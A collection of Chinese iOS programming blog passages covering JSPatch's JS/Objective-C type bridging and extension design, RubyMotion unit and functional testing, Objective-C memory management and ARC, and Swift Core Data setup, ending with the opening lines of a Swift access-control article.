把 NSMutableArray / NSMutableDictionary / NSMutableString 对象作为 JPBoxing 的成员保存在 JPBoxing 实例对象上返回给 JS，JS 拿到的是 JPBoxing 对象的指针，再传回给 OC 时就可以通过对象成员取到原来的 NSMutableArray / NSMutableDictionary / NSMutableString 对象，类似于装箱/拆箱操作，这样就避免了这些对象被 JavaScriptCore 转换。

实际上只有可变的 NSMutableArray / NSMutableDictionary / NSMutableString 这三个类有必要调用它的方法去修改对象里的数据，不可变的 NSArray / NSDictionary / NSString 是没必要这样做的，直接转为 JS 对应的类型使用起来会更方便，但为了规则简单，JSPatch 让 NSArray / NSDictionary / NSString 也同样以封装的方式返回，避免在调用 OC 方法返回对象时还需要关心它返回的是可变还是不可变对象。最后整个规则还是挺清晰：NSArray / NSDictionary / NSString 及其子类与其他 NSObject 对象的行为一样，在 JS 上拿到的都只是其对象指针，可以调用它们的 OC 方法，若要把这三种对象转为对应的 JS 类型，使用额外的 .toJS() 的接口去转换。

对于参数和返回值是C指针和 Class 类型的支持同样是用 JPBoxing 封装的方式，把指针和 Class 作为成员保存在 JPBoxing 对象上返回给 JS，传回 OC 时再解出来拿到原来的指针和 Class，这样 JSPatch 就支持所有数据类型 OC<->JS 的互传了。

nil的处理

区分NSNull/nil

对于"空"的表示，JS 有 null / undefined，OC 有 nil / NSNull，JavaScriptCore 对这些参数传递处理是这样的：


	从 JS 到 OC，直接传递 null / undefined 到 OC 都会转为 nil，若传递包含 null / undefined 的 Array 给 OC，会转为 NSNull。


	从 OC 到 JS，nil 会转为 null，NSNull 与普通 NSObject 一样返回指针。




JSPatch 的流程上都是通过数组的方式把参数从 JS 传入 OC，这样所有的 null / undefined 到 OC 就都变成了 NSNull，而真正的 NSNull 对象传进来也是 NSNull，无法分辨从 JS 过来实际传的是什么，需要有种方式区分这两者。

考虑过在 JS 用一个特殊的对象代表 nil，null / undefined 只用来表示 NSNull，后来觉得 NSNull 是很少手动传递的变量，而 null / undefined 以及 OC 的 nil 却很常见，这样做会给日常开发带来很大不便。于是反过来，在 JS 用一个特殊变量 nsnull 表示 NSNull，其他 null / undefined 表示 nil，这样传入 OC 就可以分辨出 nil 和 NSNull，具体使用方式：

@implementation JPObject
+ (void)testNil:(id)obj
{
     NSLog(@"%@", obj);
}
@end

require("JPObject").testNil(null)      //output: nil
require("JPObject").testNil(nsnull)      //output: NSNull

这样做有个小坑，就是显示使用 NSNull.null() 作为参数调用时，到 OC 后会变成 nil：

require("JPObject").testNil(require("NSNull").null())     //output: nil

这个只需注意下用 nsnull 代替就行，从 OC 返回的 NSNull 再回传回去还是可以识别到 NSNull。

链式调用

第二个问题，nil 在 JS 里用 null / undefined 表示，造成的后果是无法用 nil 调用方法，也就无法保证链式调用的安全：

@implementation JPObject
+ (void)returnNil
{
     return nil;
}
@end

[[JPObject returnNil] hash]     //it’s OK

require("JPObject").returnNil().hash()     //crash

原因是在 JS 里 null / undefined 不是对象，无法调用任何方法，包括我们给所有对象加的 __c() 方法。解决方式一度觉得只有回到上面说的，用一个特殊的对象表示 nil，才能解决这个问题了。但使用特殊的对象表示 nil，后果就是在 js 判断是否为 nil 时就要很啰嗦：

//假设用一个_nil对象变量表示OC返回的nil
var obj = require("JPObject").returnNil()
obj.hash()     //经过特殊处理没问题
if (!obj || obj == _nil) {
     //判断对象是否为nil就得附加判断是否等于_nil
}

这样的使用方式难以接受，继续寻找解决方案，发现 true / false 在 JS 是个对象，是可以调用方法的，如果用 false 表示 nil，即可以做到调用方法，又可以直接通过 if (!obj) 判断是否为 nil，于是沿着这个方向，解决了用 false 表示 nil 带来的各种坑，几乎完美地解决了这个问题。实现上的细节就不多说了，说"几乎完美"，是因为还有一个小坑，传递 false 给 OC 上参数类型是 NSNumber* 的方法，OC 会得到 nil 而不是 NSNumber 对象：

@implementation JPObject
+ (void)passNSNumber:(NSNumber *)num {
     NSLog(@"%@", num);
}
@end

require("JPObject").passNSNumber(false) //output: nil

如果 OC 方法的参数类型是 BOOL，或者传入的是 true / 0，都是没问题的，这小坑无伤大雅。

题外话，神奇的 JS 里 false 的 this 竟然不再是原来的 false，而是另一个 Boolean 对象，太特殊了：

Object.prototype.c = function(){console.log(this === false)};
false.c() //output false

新增方法

在 JS 给类添加 OC 上没有定义的方法，实现上有两个变化：

1.流程

原先的做法是把新增的方法指向一个静态的 IMP，脱离了方法替换的流程，这样做的优点是调用新增方法时不需要走 forwardInvocation的流程，提升性能，但缺点一是不能跟方法替换走一样的流程，需要额外的代码，二是参数个数有限制，由于不能用 va_list 可变参数的方式定义（详见上篇文章），所以需要对每种参数个数都单独定义一个方法，原来的实现中定义了5个方法，所以新增方法最多只能支持5个参数。权衡下，为了去除参数个数限制，最后还是改成了跟替换方法一样走 forwardInvocation 的流程。

2.Protocol

现在 JSPatch 已支持 Protocol，这样在新增 Protocol 里已定义的方法时，参数类型会按照 Protocol 里的定义去实现，Protocol 的定义方式跟 OC 上的写法一致：

defineClass("JPViewController: UIViewController <UIAlertViewDelegate>", {
  alertView_clickedButtonAtIndex: function(alertView, buttonIndex) {
    console.log('clicked index ' + buttonIndex)
  }
})

实现方式比较简单，先把 Protocol 名解析出来，当 JS 定义的方法在原有类上找不到时，再通过 objc_getProtocol 和 protocol_copyMethodDescriptionList runtime 接口把 Protocol 对应的方法取出来，若匹配上，则按其方法的定义走方法替换的流程。

扩展

当前 JSPatch 还有两个问题：


	JS 无法动态调用C函数，只能通过手动在代码上给每个要调用的C函数封装成 JS 函数，像 dispatch 几个函数的实现一样。


	struct 类型只支持原生的 NSRange / CGRect / CGSize / CGPoint 这四个，其他 struct 类型无法在 OC / JS 间传递。




这两个问题都无法一次到位全部解决，C函数需要逐个添加，struct 需要逐个手动转为 NSDictionary，这些直接写在 JSPatch 里是不合适的，所以需要以扩展的形式给这些额外的需求提供支持。

扩展接口的设计上，我设想的效果是：


	接口清晰


	每个扩展独立存在，互不影响


	不影响JPEngine的正常使用，尽量少暴露JPEngine的接口


	扩展的接口可扩展，以后有其他扩展需求可以在其基础上添加


	动态加载，扩展可能会给JS全局变量添加很多接口，最好能在真正使用到时才加载




最终的扩展接口：

@protocol JPExtensionProtocol <NSObject>
@optional
- (void)main:(JSContext *)context;

- (size_t)sizeOfStructWithTypeEncoding:(NSString *)typeEncoding;
- (NSDictionary *)dictOfStruct:(void *)structData typeEncoding:(NSString *)typeEncoding;
- (void)structData:(void *)structData ofDict:(NSDictionary *)dict typeEncoding:(NSString *)typeEncoding;
@end

@interface JPExtension : NSObject <JPExtensionProtocol>
+ (instancetype)instance;
- (void *)formatPointerJSToOC:(JSValue *)val;
- (id)formatPointerOCToJS:(void *)pointer;
- (id)formatJSToOC:(JSValue *)val;
- (id)formatOCToJS:(id)obj;
@end

@interface JPEngine : NSObject
+ (void)addExtensions:(NSArray *)extensions;
...
@end

所有扩展都需要继承 JPExtension，-main: 方法会在加载扩展的时候执行，可以在 -main: 方法里为当前 JSContext 添加 JS 方法，若要支持自定义的 struct 类型，需要实现 JPExtensionProtocol 的三个 struct 相关方法（参考了Robert的实现），JSPatch 会在参数转换时根据 typeEncoding 向扩展取得 struct<->NSDictionary 的互转。所有扩展都要继承 JPExtension，基类提供了 OC<->JS 参数处理的几个方法，在添加 JS 方法传递参数时使用。JPEngine 添加了加载扩展的接口 +addExtensions:，其他接口没变。

效果上基本实现了我的设想：


	接口还算清晰，struct 接口麻烦一点，但看过示例应该也容易理解。


	每个扩展都是独立的，都可以添加自己想支持的 struct 类型，添加 JS 方法，互不影响


	JPEngine 接口没有变化，参数处理和 JPBoxing 也没有暴露出来，都封装在 JPExtension 的方法里。


	若以后有其他扩展需求，可以直接在 JPExtension 添加。


	以接口 +addExtensions: 的方式添加扩展，不但可以在 OC 上使用，还可以在 JS 上动态加载：




require("JPEngine").addExtensions(require("JPCGTransform").instance())
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翻译：@shiweifu

本文链接：http://segmentfault.com/blog/shiweifu

原文链接：http://rubymotion-tutorial.com/8-testing/

目标读者：["想了解RubyMotion开发模式", "想学习RubyMotion", "对移动端测试感兴趣"]

翻译者按：测试是移动开发的一个痛点。这篇文章讲述了使用RubyMotion如何进行有效的测试，可以看出相对于原生开发环境的测试，简化很多。这部分也是RubyMoiton的一大特色。




除了语法不同，你可能觉得 RubyMotion 不过是提供了一条使用 Ruby 语法来编写 Cocoa 程序的方式。和使用 Objective-C 来实现同样的功能相比，并无特殊之处。本章将介绍 RubyMotion 中独有的特性。


自动化测试是屌炸天的事儿。屌在哪？它能使你的程序更加健壮，通过一些测试代码，能让你及时发现问题所在，是不是很棒？


是的，大家都认为测试是个好东西，但事实上大多数工程师并不能坚持写测试。它不能让你有足够的成就感，不是能和其他人吹嘘的牛逼特性或者性能提升。但它是一种保障，特别是项目经常改变，它能让你知道你的代码究竟可不可用。


接下来我们将了解 RubyMotion 中的测试，简单编写，覆盖度高。


在 Ruby 社区，大家都很重视测试，Ruby 的测试相对 iOS App，也相对简洁。如果要在iOS 中实现自动化测试，往往需要借助第三方库或者使用JavaScript。RubyMotion 的测试库要好用的多。


到底有多屌？


Unit Testing


使用 motion create Tests 命令新建一个项目然后cd进去。我们讨论里面的spec文件夹。


这个文件夹里有一个名为./spec/main_spec.rb的文件，这是创建项目的时候自动生成的。在 RubyMotion 的测试工作的时候，它会加载这个文件夹里面的*.rb文件。我们来看下这个文件的内容：


describe "Application 'Tests'" do
  before do
    @app = UIApplication.sharedApplication
  end

  it "has one window" do
    @app.windows.size.should == 1
  end
end



可以看到一个简单的表达式：@app.windows.size.should == 1，它的意思看起来是如果.size不为1，就测试失败。


.should 支持以下的判断类型：


@app.nil?.should == false

[1,2,3].should.not == [1,2,3,4]

@model.id.should == example_id



describe 和 it 组成了一个用来实现测试的结构。在上面的这个describe结构中，传达了两个意思："[Test that] Application"，被测试对象有一Window。一个describe结构中可以包含多个it，it中又可以包含多个测试断言。你如果喜欢的话，也可以写多个describe。


每一个将被测试的内容都会先执行before中的内容。应该把一些初始化的代码丢到这里。


接下来在终端中，运行rake spec，看看测试的结果。





还是挂了……提示说没有找到window。让我们在AppDelegate中修复：


class AppDelegate
  def application(application, didFinishLaunchingWithOptions:launchOptions)
    @window = UIWindow.alloc.initWithFrame(UIScreen.mainScreen.applicationFrame)
    @window.makeKeyAndVisible
    true
  end
end



再执行一次rake spec，这次正确了：





咦，似乎已经通过自动化测试解决了一个Bug，但愿是真的解决了吧。


我们已经看到了如何去检查一个对象的属性，这很有用但还不够。有时候我们会触发事件，比如我们敲击了一个按钮，它调用了一个内部方法，这种情况下，我们要测试需要去手动调用这个方法，然后进行测试……事实上有更好的做法。


Funcational Testing


RubyMotion 对 Funcational Testing 有着很好的支持，比如你想测试触发 UI 事件，如Tap、Swipe 然后检查它的结果，你不用去button.callback.call，你可以用等效的方法：tap button，测试用例很整洁，对不对？


Funcational Testing虽然屌屌的，但它的局限是它只能测试一个UIViewController。所以像push和pop这种就无能为力了。需要注意。


要接着跑通这个例子，我们需要一个UIViewController的子类，创建./app/ButtonController.rb，然后增加一个按钮和回调事件。代码如下：


class ButtonController < UIViewController
  def viewDidLoad
    super

    @button = UIButton.buttonWithType(UIButtonTypeRoundedRect)
    @button.setTitle("Test me title!", forState:UIControlStateNormal)
    @button.accessibilityLabel = "Test me!"
    @button.sizeToFit
    @button.frame = CGRect.new([10, 70], @button.frame.size)
    self.view.addSubview(@button)

    @button.addTarget(self, action:'tapped', forControlEvents:UIControlEventTouchUpInside)
  end

  def tapped
    p "I'm tapped!"
    @was_tapped = true
  end
end



标准的代码，除了accessibilityLabel。这是每个View都包含的一个String类型属性。当使用VoiceOver功能的时候，系统依赖这个属性（所以别随便设置这个属性的值）。为啥我们会提到这一点？因为 RubyMotion 的Funcational Testing就依赖这个属性。所以确保要测试的View已经设置好这个属性。


最后，我们把Controller和AppDelegate关联起来：


def application(application, didFinishLaunchingWithOptions:launchOptions)
  @window = UIWindow.alloc.initWithFrame(UIScreen.mainScreen.applicationFrame)
  @window.makeKeyAndVisible

  @view_controller = ButtonController.alloc.initWithNibName(nil, bundle:nil)
  @window.rootViewController = @view_controller

  true
end



你可以使用rake执行一下，看看在你触发按钮事件的时候终端有没有输出I'm tapped!。接下来我们写测试代码，看看变量是否真的被赋值。


在main_spec.rb，添加describe块及代码：


describe "button controller" do
  tests ButtonController

  it "changes instance variable when button is tapped" do
    tap 'Test me!'
    controller.instance_variable_get("@was_tapped").should == true
  end
end



让我们来看看有啥新东西。


tests <class>连接我们的describe，指定UIViewController。它的行为很清晰：将要测试的UIViewController放在了一个新的UIWindow中。我们能使用self.window和self.controller访问其。这样做也确保了被测试的Controller不会被干扰。


tap可以替换成flick、drag、pinch_close、pinch_open和rotate对应相应的行为。查看RubyMotion's full documentation具体的细节。


rake spec，它已经能正常工作啦：


2 specifications (2 requirements), 0 failures, 0 errors



总结


我们看到了在RubyMotion中编写测试是多么的简单。如果你之前因为繁琐不写测试，现在没理由懒惰了。


我们学到了啥？



	RubyMotion加载测试用例从./spec目录。

	测试用例包含在describe和it中，后面跟随着标签，用来标识和组织。

	使用 <any object>.should 进行断言。例：greeting.should == "hello"。

	
UIViewControllers可以进行funcational。 tests，可以模拟一些像tap、pinch触发事件。在你的describe代码块中，使用tests <controller class>去使用这些特性。

	
tap <accessibility label>是访问View的accessibilityLabel属性。
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原文：Objective-c 内存管理的历史和参考资料


对于像我这样自学IOS开发的初学者，网上有很多资料，很多教程，但是过于多的资料也使初学者无法筛选合适自己的。并且Objective-c也经历了几个阶段的演变，初学者有时更加会觉得迷茫了。本文总结一下Objective-c在内存管理上的一些问题，整理一些合适的资料。


早期：引用计数的内存管理


Objective-c继承自C，拥有一套基于对象引用计数的内存管理体系。这跟C#或者Java的垃圾回收机制不同，倒是与C++后来的智能指针有些类似。这种引用计数的思想在很多地方也有应用，不过本质上说，仍然是需要程序员来手动管理计数的，只不过当计数值清零时，对象会被自动释放罢了。


类似的代码如下，请注意注释：


objectivec//申请内存，并调用初始化，返回指针
//alloc会使得对象的引用计数初始化为1
Engine *engine1 = [[Engine alloc] init]; 

//调用retain，等同于使引用计数+1
[engine1 retain];

//调用release，等同于使引用计数-1
//只有当引用计数为0时，对象才会释放
[engine1 release];




即程序员需要来回的使用alloc、retain、release控制对象的引用计数


属性与编译器约定


在遇到复杂面向对象编程的时候更为棘手，假设有一个类，其中包含有多个属性，这些属性都是指针类型，指向堆上的内存：


objectivec@interface Person
{
    NSString *Name;
    NSString *Address;
}



于是乎，当无论在什么时候，Person类的实例都将拥有对Name和Address两块内存的所有权。如果申请这两块内存的代码不是Person类自己的代码。那么Person需要使用retain增加引用计数，并在析构中负责release。那么很容易想到使用set和get这对方法，对类的字段进行封装，以Name为例：


objectivec-(void) setName:(NSString *)name{
    if(self.Name != name){
        [Name release];
        Name = [name retain];
    }
}

-(NSString *) getName {
    return Name;
}

-(void)dealloc{
    [self setName:nil];
    [super dealloc];
}



在上面的set和get方法中，封装了对内存的管理部分。为了简化这种需求，编译器直接通过编译支持这种写法，即我们可以通过下面的代码代替上面的set和get函数，编译器会自动按照上面的代码展开：


objectivec@interface Person
@property (retain) NSString* Name;
@end


@implementation Person
@synthesize Name;
@end



于是在使用属性的时候可以这么做：


Person *person = [[Person alloc] init];
person.Name = @"Jack";



实际上编译器对上述调用代码同样会展开成setName函数。这就是“点语法”，看起来是不是跟大部分的语言的属性访问有些接近了。


自动释放池


后来开始出现自动释放池(Auto release pool)，这个东西的出现简单的说是基于一种十分常见确很难处理的场景：需要在一个方法内部申请内存，并将内存的地址返回给调用者，这个时候谁来释放这个内存？如下面的代码：


-(ClassA *) Func1
{
    //内部申请空间，obj引用计数为1
    ClassA *obj = [[ClassA alloc] init];
    //返回这个申请的内存
    return obj;
    //谁来负责释放???
}



这个梗其实在任何非垃圾回收的语言中都存在，需要人为约定，要么创建者释放，要么调用者释放。试想，如果是创建者释放，那么创建者怎么知道调用者什么时候结束调用呢？如果是调用者释放，又会因为协同开发的原因，造成调用者忘记释放的情况。


OC发明了自动释放池的概念，上面的代码可以这样写：


objectivec-(ClassA *) Func1
{
    //内部申请空间，obj引用计数为1，使用autorelease延迟释放
    ClassA *obj = [[[ClassA alloc] init] autorelease];
    //返回这个申请的内存
    return obj;
}



使用autorelease方法，实际上的结果是本地变量obj的引用在自动释放池中保留一份，并在恰当的时候，释放掉。具体原理参加下面给出的资料链接。


事实上从程序结构上看，OC选择了谁申请谁释放的原则。至此，著名的黄金法则出现了，遵循黄金法则的代码不会出现内存泄露



  The basic rule to apple is everything that increases the reference counter with alloc,[mutable]copy[WithZone:] or retain is in charge of the corresponding [auto]release.

  如果一个对象使用了alloc，[mutable] copy，retain，那么必须使用相应的release或autorelease




详细的早期内存管理的资料参考：


iOS:内存管理（一）：OC中的内存管理
iOS:内存管理（二）：怎样在xcode里面使用Memory Leaks和Instruments教程
iOS:内存管理（三）：在Objective-c里面使用property教程


Objective-C的内存管理（一）黄金法则的理解
 Objective-C的内存管理（二）autorelease的理解


上面是早期的内存管理原理的机制，个人觉得还是需要深刻理解的，虽然现在基本都不这么写了，下面会说到


目前：自动引用计数


自动引用计数(Auto reference counting)后来被引入，实际上是编译器功能的大幅增强。现在开发IOS，默认都是开启ARC功能的。并在在ARC下，甚至是不允许写release、retain、autorelease这样的方法的。如果初学者从网上的资料中学习了，上面早期的一些知识，需要注意，实际做的时候基本都是使用ARC的（不少较新的OC程序员甚至已经不会手动管理内存了）。个人实际操作下来，感觉使用ARC，基本跟写C#没有什么太大的差别。这真心是有赖于编译器的强大。


在ARC下，并没有少了引用计数这个环节，从ARC的字面来看，实际上是编译器帮程序员完成了对引用计数的增减。而且ARC也有相应的编码约定或规范，在学习之前，还是需要学习早期的内存管理体系的。


参考资料如下：


转向ARC的说明——翻译Apple官方文档


本文总结了关于Objective-c中的内存管理方面的基础内容，希望对初学者有个启发
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初始化

方法一

创建一个iOS工程，勾选Use Core Data。

工程创建完后，XCode将为我们生成一个xcdatamodeld文件用于创建实体。我们可以在这里编辑实体，并产生托管对象类。同时，XCode也在AppDelegate.Swift中添加了一些用于支持CoreData的代码。

我在这里所用的办法是通过辅助类来设置Core Data，这样的话，你就可以将这种办法运用到自己的项目中了。这也使得Core  Data组件变的模块化，而且易于移植。我们将通过应用程序委托来惰性地(lazily)创建CoreDataHelper类的实例。下面就来看我们的方法二

方法二

这种实例可用来完成下列事项：
1、初始化托管对象模型
2、根据托管对象模型来创建持久化存储区，并据此初始化持久化存储协调器
3、根据化持久化存储协调器来初始化托管对象上下文

我们先创建CoreDataHelper.Swift文件，并且将Subclass类名为CoreDataHelper。

实现CoreDataHelper类

import CoreData
class CoreDataHelper:NSObject {
  // MARK: - Core Data stack
   
    // 这个目录用来存放应用程序Core Data存储文件，在当前事例中，会在应用程序的Document目录下生成名为“FoodPin.Coredata”文件。
    lazy var applicationDocumentsDirectory: NSURL = {
        let urls = NSFileManager.defaultManager().URLsForDirectory(.DocumentDirectory, inDomains: .UserDomainMask)
        return urls[urls.count-1] as! NSURL
        }()
// 应用程序的托管对象模型。   
    lazy var managedObjectModel: NSManagedObjectModel = {

        let modelURL = NSBundle.mainBundle().URLForResource("FoodPin", withExtension: "momd")!
        return NSManagedObjectModel(contentsOfURL: modelURL)!
        }()
    //持久化协调器
    lazy var persistentStoreCoordinator: NSPersistentStoreCoordinator? = {
        
        var coordinator: NSPersistentStoreCoordinator? = NSPersistentStoreCoordinator(managedObjectModel: self.managedObjectModel)
        let url = self.applicationDocumentsDirectory.URLByAppendingPathComponent("FoodPin.sqlite")
        var error: NSError? = nil
        var failureReason = "There was an error creating or loading the application's saved data."
        if coordinator!.addPersistentStoreWithType(NSSQLiteStoreType, configuration: nil, URL: url, options: nil, error: &error) == nil {
            coordinator = nil
            // Report any error we got.
            let dict = NSMutableDictionary()
            dict[NSLocalizedDescriptionKey] = "Failed to initialize the application's saved data"
            dict[NSLocalizedFailureReasonErrorKey] = failureReason
            dict[NSUnderlyingErrorKey] = error
            error = NSError(domain: "YOUR_ERROR_DOMAIN", code: 9999, userInfo: dict as [NSObject : AnyObject])
            
            NSLog("Unresolved error \(error), \(error!.userInfo)")
            abort()
        }
        
        return coordinator
        }()
    //托管对象上下文
    lazy var managedObjectContext: NSManagedObjectContext? = {
        
        let coordinator = self.persistentStoreCoordinator
        if coordinator == nil {
            return nil
        }
        var managedObjectContext = NSManagedObjectContext()
        managedObjectContext.persistentStoreCoordinator = coordinator
        return managedObjectContext
        }()
    
    // MARK: - Core Data Saving support
    
    func saveContext () {
        if let moc = self.managedObjectContext {
            var error: NSError? = nil
            if moc.hasChanges && !moc.save(&error) {
               
                NSLog("Unresolved error \(error), \(error!.userInfo)")
                abort()
            }
        }
    }

}


我是绝对绝对不会告诉你上边的这段代码是我从AppDelegate.Swift中将有关CoreData的部分剪贴出来生成新的CoreDataHelper类的。

创建托管对象模型

command + n之后选择iOS中的Core Data里的Data Model文件，点击Next。
填写文件名称，默认名称是Model。点击Create之后在工程中就可以看到一个.xcdatamodeld为后缀的文件了。

实体

托管对象模型由一系列实体描述对象构成，这种对象就叫做实体。实体用来创建托管对象，有了托管对象之后我们可以用Swift代码来操作其中的数据了。

托管对象模型可以拥有一个或者多个实体，每个应用程序的实体数量会有所差别。在制作托管对象之前，首先要把每一个实体设计好。实体的设计与传统的数据库中数据表的设计是相似的。

实体的属性必须有特定的数据类型，如果想从实体中创建托管对象，那么我们通常会根据实体来创建NSManagedObject的子类，但这并不是强制性的。采用NSManagedObject的子类确实有好处，比如说可以在托管对象后面使用“点符号”来访问相关属性，这样可以让代码便于阅读。

按照下面的步骤来添加一个实体：

1、选定Model.xcdatamodeld
2、点击Add Entity
3、把实体的名称改为Entity

实体属性


选择适合的属性值在你的属性名称后边。

属性的各种设置选项



Transient

如果在Properties中勾选了这一项，那么该属性就不会写入持久化存储区了。“不写入持久化存储区”听上去有些奇怪，但是有时，只需要吧特性留在托管对象上下文里面就行了。比方说，你需要计算某个临时的值，而这种值就可以放在transient特性中。

Optional

Optional特性并不一定要有值。所有的特性在刚建出来的时候都是Optional特性。如果某一个不是Optiona特性，那么在把这非Optional特性放回存储区的时候，它必须具备有效的值才行。

Indexed

系统会优化Indexed特性以提升搜索效率，但代价是要在底层的持久化存储区占用额外的空间。这些额外的空间的大小要根据待索引的数据量来定。如果不打算搜索某个属性，那么就不要勾选Indexed，这样可以节省一些空间。

Validation

你可以使用Validation中的各个选项来阻止不合理的数据进入持久化存储区。每一种数值型的属性都支持相同的Validation选项，也就是可以规定其最小值和最大值。同理，对于字符串类型或者日期类型的属性来说，可以限定其字符串长度和日期范围。

Reg. Ex.

Reg. Ex.是Regular Expression(正则表达式)的缩写，他不仅能够限定字符串的最小长度以及最大长度，而且还能实现很多验证功能。一般来说，我们会用正则表达式来判断属性中的字符串值是不是能与某个特定的模式相匹配。匹配成功了才能将其写入持久化存储区。

Default

除了可变数据类型与二进制数据之外，其余类型的属性都可以具备默认值。

Allows External Storage

开启了这个选项之后，类型为二进制数据的属性就可以把大量数据保存在持久化存储区之外了。但如果底层的持久化存储区是XML格式(iOS不支持这种格式的存储区)，那么该选项就不起作用了。

创建NSManagedObject的子类

托管对象模型就位之后，我们就该根据Entity实体来创建NSManagedObject的子类了。

1、选中Entity实体。
2、点击Editor>Create NSManagedObject Subclass菜单项。
3、确保Model被选中，然后点击Next。
4、多次点击下一步之后，会在项目中生成Entity.swift文件。

在这中间要强调的一点是，要不要勾选 Use scalar properties for primitive data types。

勾选上这个选项之后就是使用的是你在定义的时候使用的原始数据类型。
如果没有勾选的话，就会存在类型的转化，转换情况如下

• String maps to String
• Integer 16/32/64, Float, Double and Boolean map to NSNumber 
• Decimal maps to NSDecimalNumber
• Date maps to NSDate
• Binary data maps to NSData
• Transformable maps to AnyObject

自己试一下，看看勾选之后和没有勾选生成的Entity.swift文件有什么区别。

创建托管对象

所有的事情都准备好了之后，现在可以新建一些托管对象了。

新对象是由NSEntityDescription按照指定的名称并根据某个特定的实体而创建出来的。除了要指定对象所依据的实体之外，还需要提供托管对象上下文，创建好的托管对象将会放在那个上下文里面。

let coredataHelper = CoreDataHelper()
        
        if let managedobjectcontext = coredataHelper.managedObjectContext{
            var object = NSEntityDescription.insertNewObjectForEntityForName("Entity", inManagedObjectContext: managedobjectcontext) as! Entity
            object.name = "Hello World Core Data"
            var e:NSError?
            if !managedobjectcontext.save(&e) {
                println("okCould not save \(e), \(e!.userInfo)") }else{
                println("数据存储成功，哦也")
            }
        }

后端SQL的可见性

按照下列步骤开启SQL Debug模式

1、点击Product>Scheme>Edit Scheme ...
2、点击Run Grocery Dude，并切换到Arguments分页。
3、点击Arguments Passed On Launch区域中的“+”按钮，以新增参数。
4、输入新参数 -com.apple.CoreData.SQLDebug 3,然后点击OK。

现在我们已经开启了第三级的SQL Debug模式，然后重新运行程序，查看控制台输出了什么。

获取托管对象

想操作托管对象上下文中的现有数据，就必须先把它获取(fetch)出来。加入待获取的数据没有放在上下文中，那么Core Data会从底层的持久化存储区里面把它拿过来，这个过程对开发者来说是透明的。

要执行获取操作，就要有NSFetchRequest实例，改实例会返回[AnyObject],这个数组里面的元素都是托管对象。在执行获取操作的时候NSFetchRequest会根据特定的实体，把每个托管对象都放在[AnyObject]这个数组里面，并且返回给调用者。

var fetchRequest = NSFetchRequest(entityName: "Entity")
            
            var  fetchObjects = managedobjectcontext.executeFetchRequest(fetchRequest, error: &e) as! [Entity]
            for info in fetchObjects{
                println("name: \(info.name)")
                println("+++++++++++++++++++++++")

//修改
info.name = "这块显卡有点冷"

if !managedobjectcontext.save(&e){
    println("不能保存\(e!.localizedDescriptoin)")
}

     }


对获取的请求结果进行排序

NSFetchRequest执行完毕之后会返回一个NSArray,而NSArray本身就支持其中的元素进行排序。我们可以给NSFetchRequest配置排序描述符，这样的话。NSFetchRequest就可以直接按特定方式获取到托管对象进行排序了。这个描述符是作为NSSortDescriptor的实例传给NSFetchRequest的。

对请求的结果进行筛选

有时我们并不想把与某个实体有关的全部对象都获取过来，这时可以通过谓词来筛选。我们采用NSPredicate实例来定义谓词，并将其传给NSFetchRequest实例。有了谓词之后，获取请求就会根据谓词中的标准限定获取到的托管对象的数量。

获取请求模版

如果我们每一次获取托管对象时都要使用手工编写谓词格式确实很累人哇。幸好的是，Xcode的Data Model Designer有预定义获取请求的功能。这些可复用的模版比谓词更容易配置，而且还能减少重复代码。

创建获取请求模版：


	选中.xcdatamodeld。


	点击Editot > Add Fetch Rquest。


	然后设置请求模版的名称。


	点击＋按钮来配置获取请求模版。




要想使用获取请求模版，需要先给托管对象模型发送消息，告诉他将要使用的模版叫做什么名字。发送完消息之后，就可以在返回的NSFetchRequest上面操作了。由于这种获取请求是根据模版创建出来的，所以我们无需通过向其发送谓词来执行筛选操作。

let fetchRequest3 = managedObjectModel.fetchRequestTemplateForName("Name")

Fetching different result types

 struct NSFetchRequestResultType : OptionSetType {
    init(rawValue rawValue: UInt)
    static var ManagedObjectResultType: NSFetchRequestResultType { get }
    //返回  ManagedObject  这个是默认的
    static var ManagedObjectIDResultType: NSFetchRequestResultType { get}
    //返回  unique identifiers instead of full- fledged managed objects.
    static var DictionaryResultType: NSFetchRequestResultType { get }
    //返回 字典类型
    static var CountResultType: NSFetchRequestResultType { get }
    // 返回  Returns the count of the objects that match the fetch
request.
}

删除托管对象

若想删除托管对象，只需要在包含对象的上下文中调用deleteObject或者deleteObjects。然后用上下文的save方法保存更新数据库。

托管对象模型的扩展

关系

关系是用来链接实体的。在托管对象模型中使用关系。
我们把界面的Editor Style 改为 Graph,按下control键，用鼠标从一个 实体托向另一个实体。
当编辑器界面处于Graph风格时，在两实体之间创建的关系是双向关系。如果在Table风格的编辑器界面中创建关系，那么创建出来的可能就是单向关系，此时如果需要建立双向关系，那么还必须手动添加反向的那一条关系。

把两个实体关联起来之后，我们就可以通过关系来访问相关实体的属性了。

接下来的问题就是，要想清楚每个方向上的关系是一对多，还是一对一。想清楚这个问题之后，你应该就能给关系起一个更为合适的名字。一对多的关系，不限制目标对象的数量，而一对一的关系则会把目标对象的数量限定为一个。

Delete规则

在配置的时候一定要注意Delete Rule。当我们删除某个对象时，该规则决定了与之相关的那些对象因该如何处理。可供选择的Delete规则有下面几种：

Nullify

大多数时候都可以采用这种默认的删除规则。如果删除了某一个对象，而该对象与其它对象的关系有受制于Nullify规则，那么这些对象就会把指向该对象的关系清空。

Cascade

这种删除规则会沿着关系来传播删除操作

Deny

如果尚有其它对象与某个对象关联，那么这种删除规则会阻止开发者删除该对象。

No Action

这是一种奇怪的删除规则，它会导致对象图处于不一致状态。假如运用了这条删除规则，那么在删除某个对象之后，开发者必须手动设置反向的关系，以确保它们都指向有效的对象。

只有在尝试保存上下文的时候，系统才会去检查删除规则是否生效，倘若发生违规，则会产生 NSCocoaErrorDomain错误，他的错误代码是1600，如果想解决这个错误，就要在删除之前确保该对象可以安全的移除。

数据验证错误

在对象保存到持久化存储区之前，它们必须通过验证。假如某个对象未能通过验证，那么系统就会抛出domain为NSCocoaErrorDomain的错误。

实体的继承

与类一样，实体也可以继承自父实体。这个功能有助于简化数据模型。子实体会自动继承父实体的各种属性。在底层的SQLite存储区里，父－子体系中的实体都会存储到同一张数据表里。

如果不想令父实体实例化，那么可以将其标注为抽象的。只有能够确定父实体在代码中毫无意义时，才应该启用这个选项。
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苹果在发布了Xcode 6 Bate 4后为Swift添加了新的特性--访问控制（Access Control），并且更新了The Swift Programming Language文档，我抽空把这篇文档翻译了一下，下面让我们来详细了解一下Access Control。


访问控制


